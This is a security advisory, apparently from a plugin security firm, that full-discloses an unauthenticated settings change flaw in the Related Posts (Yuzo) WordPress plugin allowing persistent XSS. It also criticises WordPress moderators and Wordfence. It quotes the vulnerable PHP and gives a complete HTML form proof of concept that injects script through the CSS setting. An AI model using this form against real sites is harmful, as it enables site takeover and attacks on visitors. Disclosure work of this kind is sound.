30 Mar

WordPress Plugin Team Paints Target on Exploitable Settings Change Vulnerability That Permits Persistent XSS in Related Posts

When we announced a protest of the continued inappropriate behavior of the WordPress Support Forum moderators, one of the changes we suggested to resolve that was:

Don’t post on things they don’t understand. This really ties into the last item since you often have moderators providing people incorrect information and then they appear to not be able to handle that someone provides information that disputes that, leading to accurate information being deleted.

Along the those lines in November the person who is charge of the moderation of the Support Forum and also one of the six members of the team running the Plugin Directory, Samuel “Otto” Wood, wrote this:

To everybody else: most of the time when a plugin is delisted, it is not for a security issue. Taking pre-emptive measures like removing the plugin just because it was delisted is never really necessary.

That came less than a month after some of those that didn’t at least deactivate a popular closed plugin were exploited due to the poorly thought out process of handling vulnerable plugins by the Plugin Directory team. The plugin AMP for WP – Accelerated Mobile Pages was closed on October 21. 8 days later a fix for an authenticated persistent cross-site scripting (XSS) was submitted to the public Subversion repository underlying the Plugin Directory. That same day we detailed the vulnerability for our customers, started warning them about it, and offering help to update to the fixed version (since you couldn’t do that normally due to the plugin being closed). Hackers obviously could do the same thing and considering this plugin was one of the 1,000 most popular plugins that made it an obvious target. While the plugin was still closed on November 4 we had started seeing hackers probing for usage of the plugin to exploit that. Taking the pre-emptive action of deactivating the plugin would have protected websites from being hacked.

If you were relying on other security companies, you were in trouble as they didn’t even know about that until well after the fact. For example, Wordfence wrote about this being exploited only on November 20 and started their post:

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites.

News didn’t break that previous week, which started November 11, seeing as we had already warned that hackers were targeting this as of six days before that (the person that wrote their post has the title of “threat analyst”, which apparently doesn’t mean much). That was rather problematic when you consider that Wordfence had to write a new rule to protect against this:

The Wordfence firewall has a new rule that defends sites against this exploit.

So they couldn’t protect against that until after they knew about it, which was well after the fact. At the point they were warning about this, the plugin had already been reopened, so they provided protection slower than simply keeping your plugins up to date.

In response to that situation and others we started monitoring the closure of the 1,000 most popular plugins, so that we could better get ahead of hackers while the WordPress team continues to refuse to work with others to improve their handling of insecure plugins to avoid situations like the one mentioned above. Through that we spotted that the plugin Related Posts, which has 60,000+ installs, had been closed today and as we began a quick over the security of the plugin we identified the plugin contains a settings change vulnerability that permits persistent cross-site scripting (XSS). That is same kind of vulnerability that we spotted in the plugin Social Warfare last week before it was widely exploited. We wouldn’t want to make a bet that hackers are not in the process of figuring out the same thing, seeing as how obvious it is once you know that the plugin may have a security vulnerability, which closing it does.

If a security review had been done of the plugin at any point in its five years of existence this could have already been caught, since there no nonce is included with request to change the plugin’s settings, which would tell you that there is at least a cross-site request forgery (CSRF) vulnerability and then if you took the time to look at the underlying code you would see the larger issue.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Details

In the plugin’s main file the file /assets/ilenframework/core.php is included:

2400
require_once "assets/ilenframework/core.php";

That file will create a new instance of the class “ilen_framework_30”:

5301
$IF = new ilen_framework_30;

The __construct() function in that class will cause the functin _ini_() to be run when visiting admin pages (is_admin() is actually being used as intended there):

138
139
140
141
142
143
144
145
146
147
148
149
150
function __construct(){
 
	if( ! is_admin() ){ // only front-end
 
		self::set_main_variable();
		return;
 
	}elseif( is_admin()  ){ // only admin
 
 
 
		// set default if not exists
		self::_ini_();

That function will run the function save_options() is the GET input “page” is set to “yuzo-related-post”:

129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
function _ini_(){
 
	self::set_main_variable();
 
	self::setComponents();
 
	self::theme_plugin_install_set_default_values();
 
	if( isset($this->parameter['id_menu']) && isset($_GET["page"]) && ( $_GET["page"] == $this->parameter['id_menu'] ) ){ // validate if admin page is the option
 
 
		// get Components
		//self::_getComponents_();
 
		// set varaible configuration
		$this->options = $this->IF_CONFIG->options;
 
		// if save update options
		if($this->parameter['type'] == 'plugin-tabs'){
			self::save_options_for_tabs();
		}else{
			self::save_options();

That function will then change the plugin’s settings without doing any security checks:

4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
function save_options(){
 
		global $options_update;
 
		$options_update = null;
		//delete_option( $this->parameter['name_option']."_options" );
		//var_dump( $_POST );exit;
		//code save options the theme
		if( isset($_POST) && ( isset($_POST['save_options']) || isset($_POST['reset_options'] ) ) && $_POST["name_options"] == $this->parameter["name_option"] ){
 
			$Myoptions = self::theme_definitions();
 
 
			if( is_array($Myoptions) ){
				foreach ($Myoptions as $key2 => $value2) {
 
					if( $key2 != 'last_update' ){
 
						self::fields_update($value2['options'], false);
						//break;
 
					}else{
						$options_update[$key2] = time();
					}
				}
			}
 
			if( is_array($options_update) ){    
 
				$options_act                      = get_option( $this->parameter['name_option']."_options");
				//var_dump($options_act);
 
				$options_update['active_license'] = isset($options_act['active_license']) ? $options_act['active_license'] : '';
				//var_dump($options_update);
 
				if(update_option( $this->parameter['name_option']."_options" , $options_update)){

All that means, as the proof of concept below shows, is that an attacker can cause malicious JavaScript code to be set in the plugin’s setting and then it will get shown on the impacted website’s frontend and backend pages.

It is important to note that the proof of concept was created by simply changing a single setting from the plugin’s default to include JavaScript code and another one to have the plugin’s functionality included on the home page, so that isn’t something hackers would have an issue creating on their own.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown on the plugin’s admin page, /wp-admin/admin.php?page=yuzo-related-post, and the homepage of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?page=yuzo-related-post" method="POST">
<input type="hidden" name="yyuzo_related_post_top_text" value="<h3>Related Post</h3>" />
<input type="hidden" name="yuzo_related_post_display_post" value="4" />
<input type="hidden" name="yuzo_related_post_post_type[]" value="post" />
<input type="hidden" name="yuzo_related_post_no_show_archive_page" value="1" />
<input type="hidden" name="yuzo_related_post_default_image" value="http://localhost/wp-content/plugins/yuzo-related-post/assets/images/default.png" />
<input type="hidden" name="yuzo_related_post_related_to" value="1" />
<input type="hidden" name="yuzo_related_post_order_by" value="rand" />
<input type="hidden" name="yuzo_related_post_order" value="DESC" />
<input type="hidden" name="yuzo_related_post_order_by_taxonomias" value="" />
<input type="hidden" name="yuzo_related_post_automatically_append" value="1" />
<input type="hidden" name="yuzo_related_post_display_post_home" value="4" />
<input type="hidden" name="yuzo_related_post_categories[]" value="-1" />
<input type="hidden" name="yuzo_related_post_exclude_category[]" value="-1" />
<input type="hidden" name="yuzo_related_post_exclude_category_related" value="1" />
<input type="hidden" name="yuzo_related_post_exclude_tag" value="" />
<input type="hidden" name="yuzo_related_post_exclude_id" value="" />
<input type="hidden" name="yuzo_related_post_no_appear" value="" />
<input type="hidden" name="yuzo_related_post_only_in_post" value="" />
<input type="hidden" name="yuzo_related_post_display_random" value="1" />
<input type="hidden" name="yuzo_related_post_hook_priority" value="10" />
<input type="hidden" name="yuzo_related_post_style" value="1" />
<input type="hidden" name="yuzo_related_post_thumbnail_size" value="thumbnail" />
<input type="hidden" name="yuzo_related_post_background_size" value="cover" />
<input type="hidden" name="yuzo_related_post_height_image" value="110" />
<input type="hidden" name="yuzo_related_post_type_image" value="rectangular" />
<input type="hidden" name="yuzo_related_post_height_full" value="" />
<input type="hidden" name="yuzo_related_post_image_order" value="DESC" />
<input type="hidden" name="yuzo_related_post_bg_color_color" value="" />
<input type="hidden" name="yuzo_related_post_bg_color_hover" value="#fcfcf4" />
<input type="hidden" name="yuzo_related_post_bg_color_hover_transitions" value="0.2" />
<input type="hidden" name="yuzo_related_post_thumbnail_border_radius" value="0" />
<input type="hidden" name="yuzo_related_post_related_margin_top" value="0" />
<input type="hidden" name="yuzo_related_post_related_margin_right" value="0" />
<input type="hidden" name="yuzo_related_post_related_margin_bottom" value="0" />
<input type="hidden" name="yuzo_related_post_related_margin_left" value="0" />
<input type="hidden" name="yuzo_related_post_related_padding_top" value="5" />
<input type="hidden" name="yuzo_related_post_related_padding_right" value="5" />
<input type="hidden" name="yuzo_related_post_related_padding_bottom" value="5" />
<input type="hidden" name="yuzo_related_post_related_padding_left" value="5" />
<input type="hidden" name="yuzo_related_post_effect_related" value="none" />
<input type="hidden" name="yuzo_related_post_font_size" value="13" />
<input type="hidden" name="yuzo_related_post_text_length" value="50" />
<input type="hidden" name="yuzo_related_post_title_color_color" value="" />
<input type="hidden" name="yuzo_related_post_title_color_hover" value="" />
<input type="hidden" name="yuzo_related_post_text_color_color" value="" />
<input type="hidden" name="yuzo_related_post_text_color_hover" value="" />
<input type="hidden" name="yuzo_related_post_text2_length" value="0" />
<input type="hidden" name="yuzo_related_post_text_show" value="1" />
<input type="hidden" name="yuzo_related_post_theme" value="default" />
<input type="hidden" name="yuzo_related_post_css_and_style" value='</style><script>alert("XSS");</script>' />
<input type="hidden" name="yuzo_related_post_show_columns_dashboard" value="1" />
<input type="hidden" name="yuzo_related_post_meta_views" value="yuzo-views" />
<input type="hidden" name="yuzo_related_post_meta_views_custom" value="" />
<input type="hidden" name="yuzo_related_post_show_in_related_post_position" value="show-views-bottom" />
<input type="hidden" name="yuzo_related_post_show_in_related_post_text" value="views" />
<input type="hidden" name="yuzo_related_post_format_count" value="" />
<input type="hidden" name="yuzo_related_post_active_widget" value="1" />
<input type="hidden" name="save_options" value="1" />
<input type="hidden" name="name_options" value="yuzo_related_post" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.